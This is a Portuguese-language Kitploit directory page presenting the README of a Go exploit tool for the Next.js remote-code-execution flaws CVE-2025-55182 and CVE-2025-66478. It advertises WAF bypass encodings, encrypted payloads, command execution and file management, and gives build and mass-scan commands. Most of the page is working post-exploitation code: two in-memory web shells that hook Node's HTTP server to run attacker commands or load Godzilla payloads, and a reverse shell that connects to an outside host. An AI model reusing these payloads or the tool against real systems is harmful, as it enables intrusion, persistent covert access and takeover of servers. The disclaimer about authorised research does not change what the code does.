Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Nextjs_RCE_Exploit_Tool — Exploit for CVE-2025-55182 & CVE-2025-66478 | Kitploit
Ferramentas/GitHubGitHub/pyroxenites/nextjs_rce_exploit_tool
Vulnerability AnalysisExploitationWeb Application ExploitationWAF BypassPenetration TestingCommand and ControlLearning & EducationRed TeamingPayload Development
GitHubpyroxenites/nextjs_rce_exploit_tool

Nextjs_RCE_Exploit_Tool

Exploit for CVE-2025-55182 & CVE-2025-66478

14136há 8 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

Ferramenta de Exploração RCE para Next.js (CVE-2025-55182)


[!CAUTION] Aviso Legal / Disclaimer

Esta ferramenta destina-se exclusivamente a pesquisa e ensino em segurança. Ao utilizar esta ferramenta para testes, o usuário deve garantir que possui autorização legal do sistema alvo.

É estritamente proibido o uso em testes de penetração não autorizados, ataques maliciosos ou qualquer outro propósito ilegal. Todos os riscos e consequências legais decorrentes da percepção e exploração de vulnerabilidades são de responsabilidade exclusiva do usuário, não cabendo ao desenvolvedor deste projeto.

Se você não aceitar estes termos, pare imediatamente de baixar ou usar esta ferramenta.

Esta ferramenta foi desenvolvida com base em artigos públicos. Não são fornecidas versões binárias compiladas. Por favor, audite o código e compile você mesmo.


🙏 Agradecimentos / Credits

A lógica central e as técnicas de bypass desta ferramenta foram inspiradas por pesquisadores de segurança da comunidade. Agradecimentos especiais para:

  • @maple3142
  • @lachlan2k (React2Shell)
  • @phithon (P牛)

✨ Funcionalidades / Features

  • Cadeias de exploração:
    • Prototype Chain
    • Array Map Chain
  • Bypass de WAF:
    • ✅ Codificação Unicode
    • ✅ Codificação UTF-16LE
  • OpSec:
    • 🔐 Criptografia de Payload AES
  • Caixa de ferramentas:
    • Execução de comandos: Suporta modos síncrono (execSync) e assíncrono (exec).
    • Gerenciamento de arquivos: Interface semelhante ao Explorer, com navegação, leitura e escrita de arquivos.
    • Exploração avançada: Suporta execução de código JS nativo, carregamento de módulos (module._load).

🛠️ Início rápido

1. Verificação de vulnerabilidade (Nuclei)

Use o Nuclei para identificação em massa de impressões digitais e verificação de vulnerabilidades:

root@kitploit:~
nuclei -l urls.txt -t CVE-2025-55182.yaml -o result.txt

2. Compilação e execução

root@kitploit:~
# Organizar dependências
go mod tidy

# Compilar
go build -ldflags="-s -w" -o ReactExploit cmd/main.go

# Executar
./ReactExploit

📸 Capturas de tela / Screenshots

1. Codificação

Config & WAF Bypass

2. Execução de comandos (RCE)

RCE

3. Gerenciador de arquivos

File Explorer File Read

4. Uso avançado (Native JS Eval)

JS Eval Module Load

💉 Exemplos de Payload

No módulo "Exploração Avançada -> Execução de código JS nativo", você pode usar os seguintes payloads para operações pós-exploração.

1. Injeção de Web Shell na memória (Memshell)

cmdlinux

root@kitploit:~
(function(){
    try {
        if (global.memshell_active) return "Memshell already active!";
        var http = process.mainModule.require('http');
        var cp = process.mainModule.require('child_process');
        var qs = process.mainModule.require('querystring');
        var originalEmit = http.Server.prototype.emit;
        http.Server.prototype.emit = function(event, req, res) {
            if (event === 'request' && req && res) {
                var url = req.url || "";
                if (req.method === 'POST' && url.indexOf('/?pass') !== -1) {
                    var bodyArr = [];
                    req.on('data', function(chunk) {
                        bodyArr.push(chunk);
                    });
                    req.on('end', function() {
                        try {
                            var bodyStr = Buffer.concat(bodyArr).toString();
                            var postData = qs.parse(bodyStr);
                            var cmd = postData['pwd'];
                            if (cmd) {
                                var output = cp.execSync(cmd).toString();
                                res.writeHead(200, {'Content-Type': 'text/plain'});
                                res.end(output);
                            } else {
                                res.writeHead(400);
                                res.end("Parameter 'pwd' is missing.");
                            }
                        } catch (e) {
                            res.writeHead(500);
                            res.end("Error: " + e.message);
                        }
                    });
                    return true;
                }
            }
            return originalEmit.apply(this, arguments);
        };
        global.memshell_active = true;
        return "Memshell injected!";
    } catch (e) {
        return "Injection failed: " + e.message;
    }
})()

https://github.com/BeichenDream/GodzillaNodeJsPayload

root@kitploit:~
(function() {
    try {
        if (global.godzilla_memshell_hooked) return "Memshell already hooked!";
        var http = process.mainModule.require('http');
        var secretKey = '3c6e0b8a9c15224a'; 
        var payloadName = 'ge0b8a';
        function rc4(key, data) {
            var s = Array(256), k = Array(256);
            var i, j = 0, tmp;
            for (i = 0; i < 256; i++) {
                s[i] = i;
                k[i] = key.charCodeAt(i % key.length);
            }
            for (i = 0; i < 256; i++) {
                j = (j + s[i] + k[i]) % 256;
                tmp = s[i];
                s[i] = s[j];
                s[j] = tmp;
            }
            i = j = 0;
            var out = Buffer.alloc(data.length);
            for (var idx = 0; idx < data.length; idx++) {
                i = (i + 1) % 256;
                j = (j + s[i]) % 256;
                tmp = s[i];
                s[i] = s[j];
                s[j] = tmp;
                var t = (s[i] + s[j]) % 256;
                out[idx] = data[idx] ^ s[t];
            }
            return out;
        }
        var originalEmit = http.Server.prototype.emit;
        http.Server.prototype.emit = function(event, req, res) {
            if (event === 'request' && req && res && req.method === 'POST' && (req.url || "").indexOf('/76f03711') !== -1) {
                var bodyArr = [];
                req.on('data', function(chunk) {
                    bodyArr.push(chunk);
                });
                req.on('end', async function() {
                    try {
                        var bodyStr = Buffer.concat(bodyArr).toString();
                        var json = JSON.parse(bodyStr);

                        if (json.data) {
                            var dataBuf = Buffer.from(json.data, 'base64');
                            var rawBody = rc4(secretKey, dataBuf);
                            if (global[payloadName] === undefined) {
                                try {
                                    var tmpPayload = new Function(rawBody.toString())();
                                    if (typeof tmpPayload === "object" && typeof tmpPayload.process === "function") {
                                        global[payloadName] = tmpPayload;
                                    }
                                } catch (err) {
                                }
                            }
                            if (global[payloadName] !== undefined) {
                                var result = await global[payloadName]['process'].call(global[payloadName], rawBody);
                                var resultBuf = Buffer.isBuffer(result) ? result : Buffer.from(String(result));
                                var encResult = rc4(secretKey, resultBuf);
                                res.writeHead(200, {'Content-Type': 'application/json'});
                                res.end(JSON.stringify({ "data": encResult.toString("base64") }));
                                return;
                            }
                        }
                    } catch (e) {
                    }
                   
                    res.writeHead(200, {'Content-Type': 'application/json'});
                    res.end(JSON.stringify({data: null}));
                });
                return true;
            }
            return originalEmit.apply(this, arguments);
        };
        global.godzilla_memshell_hooked = true;
        return "Godzilla Loader-Mode Memshell injected!";
    } catch (e) {
        return "Injection failed: " + e.message;
    }
})()

2. Shell Reverso

root@kitploit:~
(function(){
    try {
        var net = process.mainModule.require('net');
        var cp = process.mainModule.require('child_process');
        // Pode ser alterado para /bin/bash conforme o ambiente
        var sh = cp.spawn('/bin/sh', ['-i']);
        var client = new net.Socket();
        
        client.on('error', function(err) {
            if (sh) sh.kill(); 
        });
        sh.on('error', function(err) {
            if (client) client.destroy();
        });
        
        client.connect(4444, 'x.x.x.x', function(){
            client.pipe(sh.stdin);
            sh.stdout.pipe(client);
            sh.stderr.pipe(client);
        });
        return "Spawned successfully (Async)";
    } catch (e) {
        return "Failed to spawn: " + e.message;
    }
})();
Baixar ferramenta